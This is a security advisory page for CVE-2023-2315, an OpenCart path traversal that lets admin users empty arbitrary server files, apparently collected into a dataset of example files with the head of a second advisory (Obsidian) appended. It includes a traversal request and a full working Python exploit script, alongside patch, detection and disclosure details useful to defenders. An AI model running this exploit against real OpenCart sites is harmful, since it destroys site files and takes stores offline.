"url": "https://starlabs.sg/logo-white.png"
}
}
}
</script>
</head>
<body class=" dark" id="top">
<header class="header">
<nav class="nav">
<div class="logo">
<a href="https://starlabs.sg/" accesskey="h" title=" (Alt + H)">
<img src="https://starlabs.sg/logo-white.png" alt="logo" aria-label="logo"
height="35"> </a>
<span class="logo-switches">
</span>
</div>
<ul id="menu">
<li>
<a href="https://starlabs.sg/" title="Home">
<span>Home</span>
</a>
</li>
<li>
<a href="https://starlabs.sg/about/" title="About">
<span>About</span>
</a>
</li>
<li>
<a href="https://starlabs.sg/advisories/" title="Advisories">
<span>Advisories</span>
</a>
</li>
<li>
<a href="https://starlabs.sg/blog/" title="Blog">
<span>Blog</span>
</a>
</li>
<li>
<a href="https://starlabs.sg/achievements/" title="Achievements">
<span>Achievements</span>
</a>
</li>
<li>
<a href="https://starlabs.sg/publications/" title="Publications">
<span>Publications</span>
</a>
</li>
<li>
<a href="https://starlabs.sg/search/" title="Search (Alt + /)" accesskey=/>
<span>Search</span>
</a>
</li>
</ul>
</nav>
</header>
<main class="main">
<article class="post-single">
<header class="post-header">
<div class="breadcrumbs"><a href="https://starlabs.sg/">Home</a> » <a href="https://starlabs.sg/advisories/">Advisories</a></div>
<h1 class="post-title">
(CVE-2023-2315) Path Traversal in OpenCart versions 4.0.0.0 to 4.0.2.2
</h1>
<div class="post-meta"><span title='2023-09-18 00:00:00 +0000 UTC'>September 18, 2023</span> · 6 min · Poh Jia Hao (@Chocologicall)
</div>
</header> <div class="toc">
<details >
<summary accesskey="c" title="(Alt + C)">
<span class="details">Table of Contents</span>
</summary>
<div class="inner"><ul>
<li>
<a href="#summary" aria-label="Summary:">Summary:</a></li>
<li>
<a href="#cvss31-scoring-system" aria-label="CVSS3.1 Scoring System:">CVSS3.1 Scoring System:</a></li>
<li>
<a href="#product-overview" aria-label="Product Overview:">Product Overview:</a></li>
<li>
<a href="#vulnerability-summary" aria-label="Vulnerability Summary:">Vulnerability Summary:</a></li>
<li>
<a href="#vulnerability-details" aria-label="Vulnerability Details:">Vulnerability Details:</a></li>
<li>
<a href="#exploit-conditions" aria-label="Exploit Conditions:">Exploit Conditions:</a></li>
<li>
<a href="#proof-of-concept" aria-label="Proof-of-Concept:">Proof-of-Concept:</a></li>
<li>
<a href="#suggested-mitigations" aria-label="Suggested Mitigations:">Suggested Mitigations:</a></li>
<li>
<a href="#detection-guidance" aria-label="Detection Guidance:">Detection Guidance:</a></li>
<li>
<a href="#credits" aria-label="Credits:">Credits:</a></li>
<li>
<a href="#timeline" aria-label="Timeline:">Timeline:</a>
</li>
</ul>
</div>
</details>
</div>
<div class="post-content"><h2 id="summary">Summary:<a hidden class="anchor" aria-hidden="true" href="#summary">#</a></h2>
<table>
<thead>
<tr>
<th><strong>Product</strong></th>
<th>OpenCart</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Vendor</strong></td>
<td>OpenCart</td>
</tr>
<tr>
<td><strong>Severity</strong></td>
<td>High - Adversaries may exploit software vulnerabilities to empty any file on the server with write permissions.</td>
</tr>
<tr>
<td><strong>Affected Versions</strong></td>
<td>4.0.0.0 - 4.0.2.2</td>
</tr>
<tr>
<td><strong>Tested Version(s)</strong></td>
<td>4.0.2.2</td>
</tr>
<tr>
<td><strong>CVE Identifier</strong></td>
<td>CVE-2023-2315</td>
</tr>
<tr>
<td><strong>CVE Description</strong></td>
<td>Path traversal in Opencart versions 4.0.0.0 to 4.0.2.2 allows authenticated backend users to empty any existing file on the server with write permissions.</td>
</tr>
<tr>
<td><strong>CWE Classification(s)</strong></td>
<td>CWE-27 - Path Traversal: ‘dir/../../filename’</td>
</tr>
<tr>
<td><strong>CAPEC Classification(s)</strong></td>
<td>CAPEC-126 - Path Traversal</td>
</tr>
</tbody>
</table>
<h2 id="cvss31-scoring-system">CVSS3.1 Scoring System:<a hidden class="anchor" aria-hidden="true" href="#cvss31-scoring-system">#</a></h2>
<p><strong>Base Score:</strong> 8.1 (High)<br>
<strong>Vector String:</strong> <code>CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H</code></p>
<table>
<thead>
<tr>
<th><strong>Metric</strong></th>
<th><strong>Value</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Attack Vector (AV)</strong></td>
<td>Network</td>
</tr>
<tr>
<td><strong>Attack Complexity (AC)</strong></td>
<td>Low</td>
</tr>
<tr>
<td><strong>Privileges Required (PR)</strong></td>
<td>Low</td>
</tr>
<tr>
<td><strong>User Interaction (UI)</strong></td>
<td>None</td>
</tr>
<tr>
<td><strong>Scope (S)</strong></td>
<td>Unchanged</td>
</tr>
<tr>
<td><strong>Confidentiality (C)</strong></td>
<td>None</td>
</tr>
<tr>
<td><strong>Integrity (I)</strong></td>
<td>High</td>
</tr>
<tr>
<td><strong>Availability (A)</strong></td>
<td>High</td>
</tr>
</tbody>
</table>
<h2 id="product-overview">Product Overview:<a hidden class="anchor" aria-hidden="true" href="#product-overview">#</a></h2>
<p>Opencart is an open source ecommerce platform for online merchants to self-host and list their products for sale. It is structured in a way that allows for a quick setup and Opencart also provides a cloud solution for users who do not want to have an on-premise setup. Opencart is split into two fronts: a storefront containing a catalogue that regular users will access, as well as a backend administrative dashboard for management purposes. Account roles for the backend dashboard are highly customizable, allowing the owner of the website to initialise custom roles with different privileges and access, by using the fine-grained controls.</p>
<h2 id="vulnerability-summary">Vulnerability Summary:<a hidden class="anchor" aria-hidden="true" href="#vulnerability-summary">#</a></h2>
<p>There is a path traversal vulnerability at the Logs section of the backend dashboard, which allows an authenticated adversary to empty any existing file on the web server, given that there is write permissions on the file. By default, every OpenCart file is able to be emptied. This means that the availability of the website will be heavily impacted by emptying the core files, preventing regular functionality of the website. This vulnerability was introduced from <a href="https://github.com/opencart/opencart/commit/23b9d53e4c903e1a33278c199b2013f2267881cb#diff-102e09e795272ef9414f0d1affbe6e193b95d5d0bd33b9f776515b1d112e428f">versions 4.0.0.0 onward</a> and patched in <a href="https://github.com/opencart/opencart/commit/0a8dd91e385f70e42795380009fd644224c1bc97">version 4.0.2.3</a>.</p>
<h2 id="vulnerability-details">Vulnerability Details:<a hidden class="anchor" aria-hidden="true" href="#vulnerability-details">#</a></h2>
<p>A backend user with “access” and “modify” permissions on the “tool/log” setting is able to clear the logs of the website. When clearing the logs in a regular use case, a HTTP GET request is sent to delete the file “error.log”, by specifying it in the <code>filename</code> query parameter. The relevant code that is vulnerable can be found below:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="c1">// /admin/controller/tool/log.php
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="k">public</span> <span class="k">function</span> <span class="nf">clear</span><span class="p">()</span><span class="o">:</span> <span class="nx">void</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">request</span><span class="o">-></span><span class="na">get</span><span class="p">[</span><span class="s1">'filename'</span><span class="p">]))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$filename</span> <span class="o">=</span> <span class="p">(</span><span class="nx">string</span><span class="p">)</span><span class="nv">$this</span><span class="o">-></span><span class="na">request</span><span class="o">-></span><span class="na">get</span><span class="p">[</span><span class="s1">'filename'</span><span class="p">];</span> <span class="c1">// [1]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$filename</span> <span class="o">=</span> <span class="s1">''</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nv">$json</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$this</span><span class="o">-></span><span class="na">user</span><span class="o">-></span><span class="na">hasPermission</span><span class="p">(</span><span class="s1">'modify'</span><span class="p">,</span> <span class="s1">'tool/log'</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$json</span><span class="p">[</span><span class="s1">'error'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="na">language</span><span class="o">-></span><span class="na">get</span><span class="p">(</span><span class="s1">'error_permission'</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// DIR_LOGS = /system/storage/logs/
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nv">$file</span> <span class="o">=</span> <span class="nx">DIR_LOGS</span> <span class="o">.</span> <span class="nv">$filename</span><span class="p">;</span> <span class="c1">// [2]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">is_file</span><span class="p">(</span><span class="nv">$file</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$json</span><span class="p">[</span><span class="s1">'error'</span><span class="p">]</span> <span class="o">=</span> <span class="nx">sprintf</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="na">language</span><span class="o">-></span><span class="na">get</span><span class="p">(</span><span class="s1">'error_file'</span><span class="p">),</span> <span class="nv">$filename</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$json</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$handle</span> <span class="o">=</span> <span class="nx">fopen</span><span class="p">(</span><span class="nv">$file</span><span class="p">,</span> <span class="s1">'w+'</span><span class="p">);</span> <span class="c1">// [3]
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">fclose</span><span class="p">(</span><span class="nv">$handle</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nv">$json</span><span class="p">[</span><span class="s1">'success'</span><span class="p">]</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-></span><span class="na">language</span><span class="o">-></span><span class="na">get</span><span class="p">(</span><span class="s1">'text_success'</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="c1">// ...
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span></code></pre></div><p>At <code>[1]</code>, the filename is obtained from the incoming HTTP GET request and stored into the <code>$filename</code> PHP variable without any form of input sanitisation. At <code>[2]</code>, the file name is appended to the back of the storage log path <code>/system/storage/logs/</code> and stored into another variable <code>$file</code>. At <code>[3]</code>, the <code>$file</code> variable is used in a <code>fopen()</code> function call with the mode set to <code>w+</code>. This means that the existing file will have its content emptied. Since a file existence check occurs before this, it is not possible to create files that do not already exist.</p>
<p>In a normal scenario, the file <code>/system/storage/logs/error.log</code> will be emptied after the GET request is sent. However, since there is a lack of input sanitisation, it is possible for the <code>filename</code> query parameter to contain any number of path traversal sequence (<code>../</code>) to traverse out of the intended directory and point to other files instead. This results in other files being emptied and permanently affecting the website’s functionality.</p>
<h2 id="exploit-conditions">Exploit Conditions:<a hidden class="anchor" aria-hidden="true" href="#exploit-conditions">#</a></h2>
<p>This vulnerability can be exploited when the attacker has a set of valid credentials to the backend dashboard with <code>access</code> and <code>modify</code> permissions on <code>tool/log</code>.</p>
<h2 id="proof-of-concept">Proof-of-Concept:<a hidden class="anchor" aria-hidden="true" href="#proof-of-concept">#</a></h2>
<p>We have tried our best to make the PoC as portable as possible. This report includes a functional exploit written in Python3 that exploits the Path Traversal vulnerability.</p>
<p>The vulnerability can be exploited by sending a GET request to <code>https://TARGET_HOST/admin/index.php?route=tool/log.clear&user_token=<USER_TOKEN>&filename=../../../../../../tmp/PoC.txt</code>, for example:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-http" data-lang="http"><span class="line"><span class="cl"><span class="nf">GET</span> <span class="nn">/admin/index.php?route=tool/log.clear&filename=../../../../../../tmp/PoC.txt&user_token=4d6d604d8862798e96fe91846f28a36f</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
</span></span><span class="line"><span class="cl"><span class="n">Host</span><span class="o">:</span> <span class="l">TARGET_HOST</span>
</span></span><span class="line"><span class="cl"><span class="n">Cookie</span><span class="o">:</span> <span class="l">OCSESSID=4f09deedf4a82f9c5b4bee9ec3;</span>
</span></span></code></pre></div><p>Before running the exploit below, please ensure that you create a non-empty file <code>/tmp/PoC.txt</code> and that it has write permissions for the web user:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ <span class="nb">echo</span> <span class="s2">"Hello"</span> > /tmp/PoC.txt
</span></span><span class="line"><span class="cl">$ chmod <span class="m">777</span> /tmp/PoC.txt
</span></span><span class="line"><span class="cl">$ ls -la /tmp/PoC.txt
</span></span><span class="line"><span class="cl">-rwxrwxrwx <span class="m">1</span> root root <span class="m">6</span> Apr <span class="m">26</span> 09:36 /tmp/PoC.txt
</span></span></code></pre></div><p>Then, run the exploit below:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># Opencart v4.0.0.0 - v4.0.2.2 path traversal arbitrary file emptying (CVE-2023-2315)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Author: Poh Jia Hao (STAR Labs SG Pte. Ltd.)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#!/usr/bin/env python3</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">re</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="cl"><span class="n">requests</span><span class="o">.</span><span class="n">packages</span><span class="o">.</span><span class="n">urllib3</span><span class="o">.</span><span class="n">disable_warnings</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">s</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">Session</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">check_args</span><span class="p">():</span>
</span></span><span class="line"><span class="cl"> <span class="k">global</span> <span class="n">target</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">password</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="s2">"</span><span class="se">\n</span><span class="s2">======= Opencart v4.0.0.0 - v4.0.2.2 path traversal arbitrary file emptying (CVE-2023-2315) ======="</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="s2">"Please ensure that a file /tmp/PoC.txt with write permissions has been created on the target server with non-empty content!</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">4</span><span class="p">:</span>
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="s2">"[!] Please enter the required arguments like so: python3 </span><span class="si">{}</span><span class="s2"> http://TARGET_URL/ADMIN_PATH/ USERNAME PASSWORD"</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]))</span>
</span></span><span class="line"><span class="cl"> <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">target</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">strip</span><span class="p">(</span><span class="s2">"/"</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="n">username</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"> <span class="n">password</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">authenticate</span><span class="p">():</span>
</span></span><span class="line"><span class="cl"> <span class="k">global</span> <span class="n">user_token</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="s2">"[+] Attempting to authenticate..."</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1"># Get login_token</span>
</span></span><span class="line"><span class="cl"> <span class="n">path</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">"</span><span class="si">{</span><span class="n">target</span><span class="si">}</span><span class="s2">/index.php"</span>
</span></span><span class="line"><span class="cl"> <span class="n">res</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="n">login_token</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="s2">"login_token=(.+)</span><span class="se">\"</span><span class="s2"> method"</span><span class="p">,</span> <span class="n">res</span><span class="o">.</span><span class="n">text</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1"># Perform login and get user_token</span>
</span></span><span class="line"><span class="cl"> <span class="n">data</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"username"</span><span class="p">:</span> <span class="n">username</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="s2">"password"</span><span class="p">:</span> <span class="n">password</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="n">path</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">"</span><span class="si">{</span><span class="n">target</span><span class="si">}</span><span class="s2">/index.php?route=common/login.login&login_token=</span><span class="si">{</span><span class="n">login_token</span><span class="si">}</span><span class="s2">"</span>
</span></span><span class="line"><span class="cl"> <span class="n">res</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="n">user_token</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="s2">"user_token=(.+)</span><span class="se">\"</span><span class="s2">"</span><span class="p">,</span> <span class="n">res</span><span class="o">.</span><span class="n">text</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="ow">not</span> <span class="n">user_token</span><span class="p">:</span>
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="s2">"[!] Failed to authenticate! Are the credentials correct?"</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="n">sys</span><span class="o">.</span><span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="s2">"[+] Authenticated successfully."</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">delete</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="s2">"[+] Attempting to empty /tmp/PoC.txt..."</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1"># Empty /tmp/PoC.txt</span>
</span></span><span class="line"><span class="cl"> <span class="n">path</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">"</span><span class="si">{</span><span class="n">target</span><span class="si">}</span><span class="s2">/index.php?route=tool/log.clear&filename=../../../../../../tmp/PoC.txt&user_token=</span><span class="si">{</span><span class="n">user_token</span><span class="si">}</span><span class="s2">"</span>
</span></span><span class="line"><span class="cl"> <span class="n">res</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">path</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">"[+] Output: </span><span class="si">{</span><span class="n">res</span><span class="o">.</span><span class="n">text</span><span class="si">}</span><span class="s2">"</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl"> <span class="n">check_args</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"> <span class="n">authenticate</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"> <span class="n">delete</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
</span></span><span class="line"><span class="cl"> <span class="n">main</span><span class="p">()</span>
</span></span></code></pre></div><p><img loading="lazy" src="/advisories/23/images/CVE-2023-2315_01.Exploit.png" alt="" />
</p>
<h2 id="suggested-mitigations">Suggested Mitigations:<a hidden class="anchor" aria-hidden="true" href="#suggested-mitigations">#</a></h2>
<p>The patch <a href="https://github.com/opencart/opencart/commit/0a8dd91e385f70e42795380009fd644224c1bc97">0a8dd91</a> addresses this vulnerability. It is recommended to apply this commit to your installation of OpenCart.</p>
<h2 id="detection-guidance">Detection Guidance:<a hidden class="anchor" aria-hidden="true" href="#detection-guidance">#</a></h2>
<p>It is possible to detect the exploitation of this vulnerability by checking the server’s access logs for all GET requests made to <code>/admin/index.php?route=tool/log.clear</code>, and filtering for requests that contain <code>../</code> in the <code>filename</code> query parameter.</p>
<h2 id="credits">Credits:<a hidden class="anchor" aria-hidden="true" href="#credits">#</a></h2>
<p>Poh Jia Hao (<a href="https://twitter.com/Chocologicall">@Chocologicall</a>) of STAR Labs SG Pte. Ltd. (<a href="https://twitter.com/starlabs_sg">@starlabs_sg</a>)</p>
<h2 id="timeline">Timeline:<a hidden class="anchor" aria-hidden="true" href="#timeline">#</a></h2>
<ul>
<li>2022-09-06 Followed the security bug reporting <a href="https://github.com/opencart/opencart#reporting-a-bug">instructions</a> and created an OpenCart forum account to try to report to the administrators, but new accounts are unable to send private messages.</li>
<li>2022-09-11 Email sent to <code><a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="691a1c1919061b1d2906190c070a081b1d470a0604">[email protected]</a></code> in an attempt to establish a proper communication channel with the project owner/maintainers.</li>
<li>2022-09-12 Support agent replied and suggested to describe the issue in a public channel via their GitHub Issues tracker, to which we reminded that it is a security bug on the latest version. Support agent then requested to send them the report where they will forward it to the developers. We instead requested for the public key of the developers so that the report can be encrypted to prevent information leakage. Support agent replied “they do not have such”.</li>
<li>2022-09-14 Tried the “Contact Us” form on OpenCart’s website. Ended up with a second support ticket being opened.</li>
<li>2022-09-15 Opened a GitHub Issue (<a href="https://github.com/opencart/opencart/issues/12684">#12684</a>) in a last resort to establish a proper communication channel with the developers. Issue closed immediately by the project owner, and <strong>marked as spam</strong>.</li>
<li>2022-09-15 Email sent directly to <code><a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="502735323d3123243522103f20353e333122247e333f3d">[email protected]</a></code> as it is used for GitHub commits.</li>
<li>2022-09-15 Project owner replied and we sent the bug report over.</li>
<li>2022-09-15 Bug fixed in commit <a href="https://github.com/opencart/opencart/commit/0a8dd91e385f70e42795380009fd644224c1bc97">0a8dd91</a></li>
<li>2023-09-18 Public Release</li>
</ul>
</div>
<footer class="post-footer">
<ul class="post-tags">
</ul>
<nav class="paginav">
<a class="prev" href="https://starlabs.sg/advisories/23/23-30591/">
<span class="title">« Prev</span>
<br>
<span>(CVE-2023-30591) NodeBB Pre-Authentication Denial-of-Service</span>
</a>
<a class="next" href="https://starlabs.sg/advisories/23/23-32523/">
<span class="title">Next »</span>
<br>
<span>(CVE-2023-32523) Trend Micro Mobile Security (Enterprise) 9.8 SP5 (<= Critical Patch 3) Unauthenticated RCE</span>
</a>
</nav>
</footer>
</article>
</main>
<footer class="footer">
<span>© 2024 <a href="https://starlabs.sg/">STAR Labs</a></span>
<span>
Powered by
<a href="https://gohugo.io/" rel="noopener noreferrer" target="_blank">Hugo</a> &
<a href="https://git.io/hugopapermod" rel="noopener" target="_blank">PaperMod</a>
</span>
</footer>
<a href="#top" aria-label="go to top" title="Go to Top (Alt + G)" class="top-link" id="top-link" accesskey="g">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentColor">
<path d="M12 6H0l6-6z" />
</svg>
</a>
<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script>
let menu = document.getElementById('menu')
if (menu) {
menu.scrollLeft = localStorage.getItem("menu-scroll-position");
menu.onscroll = function () {
localStorage.setItem("menu-scroll-position", menu.scrollLeft);
}
}
document.querySelectorAll('a[href^="#"]').forEach(anchor => {
anchor.addEventListener("click", function (e) {
e.preventDefault();
var id = this.getAttribute("href").substr(1);
if (!window.matchMedia('(prefers-reduced-motion: reduce)').matches) {
document.querySelector(`[id='${decodeURIComponent(id)}']`).scrollIntoView({
behavior: "smooth"
});
} else {
document.querySelector(`[id='${decodeURIComponent(id)}']`).scrollIntoView();
}
if (id === "top") {
history.replaceState(null, null, " ");
} else {
history.pushState(null, null, `#${id}`);
}
});
});
</script>
<script>
var mybutton = document.getElementById("top-link");
window.onscroll = function () {
if (document.body.scrollTop > 800 || document.documentElement.scrollTop > 800) {
mybutton.style.visibility = "visible";
mybutton.style.opacity = "1";
} else {
mybutton.style.visibility = "hidden";
mybutton.style.opacity = "0";
}
};
</script>
</body>
</html>
================================================
FILE: task1_source_code/test_examples/203
================================================
<!DOCTYPE html>
<html lang="en" dir="auto">
<head><meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="robots" content="index, follow">
<title>(CVE-2023-2110) Obsidian Local File Disclosure | STAR Labs</title>
<meta name="keywords" content="">
<meta name="description" content="Summary: Product Obsidian Vendor Obsidian Severity High Affected Versions Obsidian < 1.2.8 Tested Versions Obsidian 1.1.16 CVE Identifier CVE-2023-2110 CVE Description Improper path handling in Obsidian desktop before 1.2.8 on Windows, Linux and macOS allows a crafted webpage to access local files and exfiltrate them to remote web servers via “app://local/<absolute-path>”. This vulnerability can be exploited if a user opens a malicious markdown file in Obsidian, or copies text from a malicious webpage and paste it into Obsidian.">
<meta name="author" content="Li Jiantao (@CurseRed)">
<link rel="canonical" href="https://starlabs.sg/advisories/23/23-2110/">
<link crossorigin="anonymous" href="/assets/css/stylesheet.min.ec8da366ca2fb647537ccb7a8f6fa5b4e9cd3c7a0d3171dd2d3baad1e49c8bfc.css" integrity="sha256-7I2jZsovtkdTfMt6j2+ltOnNPHoNMXHdLTuq0eSci/w=" rel="preload stylesheet" as="style">
<script defer crossorigin="anonymous" src="/assets/js/highlight.min.2840b7fccd34145847db71a290569594bdbdb00047097f75d6495d162f5d7dff.js" integrity="sha256-KEC3/M00FFhH23GikFaVlL29sABHCX911kldFi9dff8="
onload="hljs.initHighlightingOnLoad();"></script>
<link rel="icon" href="https://starlabs.sg/logo-white.png">
<link rel="icon" type="image/png" sizes="16x16" href="https://starlabs.sg/logo-white.png">
<link rel="icon" type="image/png" sizes="32x32" href="https://starlabs.sg/logo-white.png">
<link rel="apple-touch-icon" href="https://starlabs.sg/logo-white.png">
<link rel="mask-icon" href="https://starlabs.sg/logo-white.png">
<meta name="theme-color" content="#2e2e33">
<meta name="msapplication-TileColor" content="#2e2e33">
<noscript>
<style>
#theme-toggle,
.top-link {
display: none;
}
</style>
</noscript>
<script async src="https://www.googletagmanager.com/gtag/js?id=G-0F9M1FRFWQ"></script>
<script>
var doNotTrack = false;
if (!doNotTrack) {
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'G-0F9M1FRFWQ', { 'anonymize_ip': false });
}
</script>
<meta property="og:title" content="(CVE-2023-2110) Obsidian Local File Disclosure" />
